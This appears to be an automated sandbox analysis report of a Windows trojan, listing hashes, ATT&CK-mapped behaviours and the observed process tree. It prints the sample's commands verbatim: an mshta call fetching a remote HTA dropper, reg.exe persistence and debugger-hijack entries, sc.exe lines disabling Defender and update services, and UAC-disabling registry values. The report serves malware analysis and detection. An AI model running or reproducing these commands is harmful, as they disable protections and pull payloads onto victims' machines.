c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51

Reason

Machine shutdown

General

Target

c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe
Size

1.1MB
MD5

b0f346275260bdc8bd399154f3e75ca9
SHA1

a2ea09e08354fee78313e1cbbb51421536254ca3
SHA256

c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51
SHA512

3e12866a8302f99a2c94ddb33aab9d2e1aa3712d1966214639d268fd8d35fed2e0543c8f09503f4a64e28eb87fe1c25a54b1a3078484487ff7713b5b2cd855e7
SSDEEP

24576:0YvwF7N4/z4KgFFUIiXmFyGKTlU5Rk8fnIwR76uH:0YIF70OFFz0GKT25ewguH

Score

10^/10

evasion persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://84.22.42.134/?0=18&1=0&2=40&3=i&4=7601&5=1&6=0000&7=feknraxeyp

Signatures

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

svc-mfrh.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	svc-mfrh.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	svc-mfrh.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	svc-mfrh.exe

Executes dropped EXE 1 IoCs

Processes:

svc-mfrh.exe

pid process

968 svc-mfrh.exe

Sets file execution options in registry 2 TTPs 24 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svc-mfrh.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\k9filter.exe	svc-mfrh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mpcmdrun	svc-mfrh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mpuxsrv.exe	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mpuxsrv.exe\Debugger = "c:\\windows\\wfg1.exe"	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mpsvc.dll\Debugger = "c:\\windows\\wfg1.EXE"	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSseces\Debugger = "c:\\windows\\wfg1.EXE"	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mpcmdrun\Debugger = "c:\\windows\\wfg1.EXE"	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mpuxsrv.exe\Debugger = "c:\\windows\\wfg1.EXE"	svc-mfrh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCUI.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCUI.exe\dEbUGgEr = "\"wn.dss\" /z "	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSseces	svc-mfrh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mpcmdrun\Debugger = "c:\\windows\\wfg1.exe"	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui\Debugger = "c:\\windows\\wfg1.EXE"	svc-mfrh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mpsvc.dll	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mpsvc.dll\Debugger = "c:\\windows\\wfg1.exe"	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSseces\Debugger = "c:\\windows\\wfg1.exe"	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSconfig.exe\Debugger = "c:\\windows\\wfg1.exe"	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui\Debugger = "c:\\windows\\wfg1.exe"	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSMPENG.exe\dEbUGgEr = "\"wn.dss\" /z "	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSconfig.exe	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSconfig.exe\Debugger = "c:\\windows\\wfg1.EXE"	svc-mfrh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\k9filter.exe\Debugger = "c:\\windows\\wfg1.EXE"	svc-mfrh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSMPENG.exe	reg.exe

Sets service image path in registry 2 TTPs 1 IoCs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Processes:

svc-mfrh.exe

description ioc process

Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\bckd\ImagePath = "33.sys" svc-mfrh.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1360 cmd.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\bckd\ImagePath = "33.sys"	svc-mfrh.exe

pid	process
1360	cmd.exe

Loads dropped DLL 2 IoCs

Processes:

c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe

pid	process
880	c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe
880	c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows\CurrentVersion\rUN	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSmpeNG = "C:\\Users\\Admin\\AppData\\Roaming\\svc-mfrh.exe"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\rUN	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\MSmpeNG = "C:\\Users\\Admin\\AppData\\Roaming\\svc-mfrh.exe"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

svc-mfrh.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" svc-mfrh.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

4 checkip.dyndns.org

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	svc-mfrh.exe

flow	ioc
4	checkip.dyndns.org

Drops file in System32 directory 3 IoCs

Processes:

svc-mfrh.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	svc-mfrh.exe
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	svc-mfrh.exe
File opened for modification	C:\Windows\SysWOW64\services.msc	svc-mfrh.exe

Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

SC.ExESC.ExESC.ExESC.ExESC.ExESC.ExESC.ExESC.ExESC.ExE

pid process

268 SC.ExE
1036 SC.ExE
1176 SC.ExE
316 SC.ExE
1836 SC.ExE
576 SC.ExE
592 SC.ExE
1704 SC.ExE
1504 SC.ExE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
268	SC.ExE
1036	SC.ExE
1176	SC.ExE
316	SC.ExE
1836	SC.ExE
576	SC.ExE
592	SC.ExE
1704	SC.ExE
1504	SC.ExE

Suspicious behavior: EnumeratesProcesses 49 IoCs

Processes:

svc-mfrh.exe

pid	process
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe
968	svc-mfrh.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exesvc-mfrh.exe

description	pid	process
Token: SeDebugPrivilege	880	c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe
Token: SeDebugPrivilege	968	svc-mfrh.exe
Token: SeShutdownPrivilege	968	svc-mfrh.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

svc-mfrh.exe

pid process

968 svc-mfrh.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

svc-mfrh.exe

pid process

968 svc-mfrh.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exesvc-mfrh.exe

pid process

880 c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe
968 svc-mfrh.exe
968 svc-mfrh.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exesvc-mfrh.exe

description	pid	process	target process
PID 880 wrote to memory of 968	880	c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe	svc-mfrh.exe
PID 880 wrote to memory of 968	880	c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe	svc-mfrh.exe
PID 880 wrote to memory of 968	880	c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe	svc-mfrh.exe
PID 880 wrote to memory of 968	880	c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe	svc-mfrh.exe
PID 880 wrote to memory of 1360	880	c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe	cmd.exe
PID 880 wrote to memory of 1360	880	c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe	cmd.exe
PID 880 wrote to memory of 1360	880	c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe	cmd.exe
PID 880 wrote to memory of 1360	880	c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe	cmd.exe
PID 968 wrote to memory of 320	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 320	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 320	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 320	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 1900	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 1900	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 1900	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 1900	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 1984	968	svc-mfrh.exe	mshta.exe
PID 968 wrote to memory of 1984	968	svc-mfrh.exe	mshta.exe
PID 968 wrote to memory of 1984	968	svc-mfrh.exe	mshta.exe
PID 968 wrote to memory of 1984	968	svc-mfrh.exe	mshta.exe
PID 968 wrote to memory of 1836	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1836	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1836	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1836	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1704	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1704	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1704	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1704	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1504	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1504	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1504	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1504	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 576	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 576	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 576	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 576	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 268	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 268	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 268	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 268	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 592	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 592	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 592	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 592	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1036	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1036	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1036	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1036	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1176	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1176	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1176	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 1176	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 316	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 316	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 316	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 316	968	svc-mfrh.exe	SC.ExE
PID 968 wrote to memory of 668	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 668	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 668	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 668	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 708	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 708	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 708	968	svc-mfrh.exe	reg.exe
PID 968 wrote to memory of 708	968	svc-mfrh.exe	reg.exe

System policy modification 1 TTPs 5 IoCs

evasion

Modify Registry

T1112

Processes:

svc-mfrh.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	svc-mfrh.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0"	svc-mfrh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	svc-mfrh.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	svc-mfrh.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	svc-mfrh.exe

C:\Users\Admin\AppData\Local\Temp\c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe
"C:\Users\Admin\AppData\Local\Temp\c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:880

C:\Users\Admin\AppData\Roaming\svc-mfrh.exe
C:\Users\Admin\AppData\Roaming\svc-mfrh.exe
2⤵
- UAC bypass
- Executes dropped EXE
- Sets file execution options in registry
- Sets service image path in registry
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:968

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\rUN" /v "MSmpeNG" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\svc-mfrh.exe" /f
3⤵
- Adds Run key to start application
PID:320

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\rUN" /v "MSmpeNG" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\svc-mfrh.exe" /f
3⤵
- Adds Run key to start application
PID:1900

C:\Windows\SysWOW64\SC.ExE
SC.ExE StoP bckwfs
3⤵
- Launches sc.exe
PID:1836

C:\Windows\SysWOW64\SC.ExE
SC.ExE COnfiG bckwfs start= DisabLed
3⤵
- Launches sc.exe
PID:1704

C:\Windows\SysWOW64\mshta.exe
mshta.exe "http://84.22.42.134/?0=18&1=0&2=40&3=i&4=7601&5=1&6=0000&7=feknraxeyp"
3⤵
PID:1984

C:\Windows\SysWOW64\SC.ExE
SC.ExE StoP wuauserv
3⤵
- Launches sc.exe
PID:1504

C:\Windows\SysWOW64\SC.ExE
SC.ExE COnfiG wuauserv start= DisabLed
3⤵
- Launches sc.exe
PID:576

C:\Windows\SysWOW64\SC.ExE
SC.ExE StoP wscsvc
3⤵
- Launches sc.exe
PID:268

C:\Windows\SysWOW64\SC.ExE
SC.ExE COnfiG luafv start= DisabLed
3⤵
- Launches sc.exe
PID:1036

C:\Windows\SysWOW64\SC.ExE
SC.ExE COnfiG wscsvc start= DisabLed
3⤵
- Launches sc.exe
PID:592

C:\Windows\SysWOW64\SC.ExE
SC.ExE COnfiG windefend start= DisabLed
3⤵
- Launches sc.exe
PID:1176

C:\Windows\SysWOW64\SC.ExE
SC.ExE COnfiG MsMpSvc START= DisabLed
3⤵
- Launches sc.exe
PID:316

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCUI.exe" /v "dEbUGgEr" /t REG_SZ /d "\"wn.dss\" /z " /f
3⤵
- Sets file execution options in registry
PID:708

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSMPENG.exe" /v "dEbUGgEr" /t REG_SZ /d "\"wn.dss\" /z " /f
3⤵
- Sets file execution options in registry
PID:668

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\C40736~1.EXE" >> NUL
2⤵
- Deletes itself
PID:1360

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:548

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:1132

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

3

T1060

Privilege Escalation

Bypass User Account Control

1

T1088

Defense Evasion

Bypass User Account Control

1

T1088

Disabling Security Tools

Impair Defenses

Modify Registry

Credential Access

Discovery

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

1

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\svc-mfrh.exe

Filesize
1.1MB

MD5
b0f346275260bdc8bd399154f3e75ca9

SHA1
a2ea09e08354fee78313e1cbbb51421536254ca3

SHA256
c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51

SHA512
3e12866a8302f99a2c94ddb33aab9d2e1aa3712d1966214639d268fd8d35fed2e0543c8f09503f4a64e28eb87fe1c25a54b1a3078484487ff7713b5b2cd855e7

Download Submit
C:\Users\Admin\AppData\Roaming\svc-mfrh.exe

Filesize
1.1MB

MD5
b0f346275260bdc8bd399154f3e75ca9

SHA1
a2ea09e08354fee78313e1cbbb51421536254ca3

SHA256
c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51

SHA512
3e12866a8302f99a2c94ddb33aab9d2e1aa3712d1966214639d268fd8d35fed2e0543c8f09503f4a64e28eb87fe1c25a54b1a3078484487ff7713b5b2cd855e7

Download Submit
\Users\Admin\AppData\Roaming\svc-mfrh.exe

Filesize
1.1MB

MD5
b0f346275260bdc8bd399154f3e75ca9

SHA1
a2ea09e08354fee78313e1cbbb51421536254ca3

SHA256
c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51

SHA512
3e12866a8302f99a2c94ddb33aab9d2e1aa3712d1966214639d268fd8d35fed2e0543c8f09503f4a64e28eb87fe1c25a54b1a3078484487ff7713b5b2cd855e7

Download Submit
\Users\Admin\AppData\Roaming\svc-mfrh.exe

Filesize
1.1MB

MD5
b0f346275260bdc8bd399154f3e75ca9

SHA1
a2ea09e08354fee78313e1cbbb51421536254ca3

SHA256
c407364973c27bece39463724e9d5e3dade5c3d0627281e44aaab4b865307c51

SHA512
3e12866a8302f99a2c94ddb33aab9d2e1aa3712d1966214639d268fd8d35fed2e0543c8f09503f4a64e28eb87fe1c25a54b1a3078484487ff7713b5b2cd855e7

Download Submit
memory/268-82-0x0000000000000000-mapping.dmp

Download
memory/316-86-0x0000000000000000-mapping.dmp

Download
memory/320-75-0x0000000000000000-mapping.dmp

Download
memory/548-90-0x000007FEFC1B1000-0x000007FEFC1B3000-memory.dmp

Filesize
8KB

Download
memory/576-81-0x0000000000000000-mapping.dmp

Download
memory/592-83-0x0000000000000000-mapping.dmp

Download
memory/668-87-0x0000000000000000-mapping.dmp

Download
memory/708-88-0x0000000000000000-mapping.dmp

Download
memory/880-58-0x0000000000020000-0x0000000000030000-memory.dmp

Filesize
64KB

Download
memory/880-67-0x0000000000020000-0x0000000000030000-memory.dmp

Filesize
64KB

Download
memory/880-56-0x0000000000400000-0x000000000054A000-memory.dmp

Filesize
1.3MB

Download
memory/880-66-0x0000000000400000-0x000000000054A000-memory.dmp

Filesize
1.3MB

Download
memory/880-57-0x0000000000400000-0x000000000054A000-memory.dmp

Filesize
1.3MB

Download
memory/880-60-0x0000000000400000-0x000000000054A000-memory.dmp

Filesize
1.3MB

Download
memory/880-54-0x0000000000400000-0x000000000054A000-memory.dmp

Filesize
1.3MB

Download
memory/880-55-0x0000000000400000-0x000000000054A000-memory.dmp

Filesize
1.3MB

Download
memory/880-59-0x0000000075831000-0x0000000075833000-memory.dmp

Filesize
8KB

Download
memory/968-63-0x0000000000000000-mapping.dmp

Download
memory/968-74-0x0000000000020000-0x0000000000030000-memory.dmp

Filesize
64KB

Download
memory/968-73-0x0000000000400000-0x000000000054A000-memory.dmp

Filesize
1.3MB

Download
memory/968-89-0x0000000000400000-0x000000000054A000-memory.dmp

Filesize
1.3MB

Download
memory/968-91-0x0000000000400000-0x000000000054A000-memory.dmp

Filesize
1.3MB

Download
memory/1036-84-0x0000000000000000-mapping.dmp

Download
memory/1176-85-0x0000000000000000-mapping.dmp

Download
memory/1360-65-0x0000000000000000-mapping.dmp

Download
memory/1504-80-0x0000000000000000-mapping.dmp

Download
memory/1704-79-0x0000000000000000-mapping.dmp

Download
memory/1836-78-0x0000000000000000-mapping.dmp

Download
memory/1900-76-0x0000000000000000-mapping.dmp

Download
memory/1984-77-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads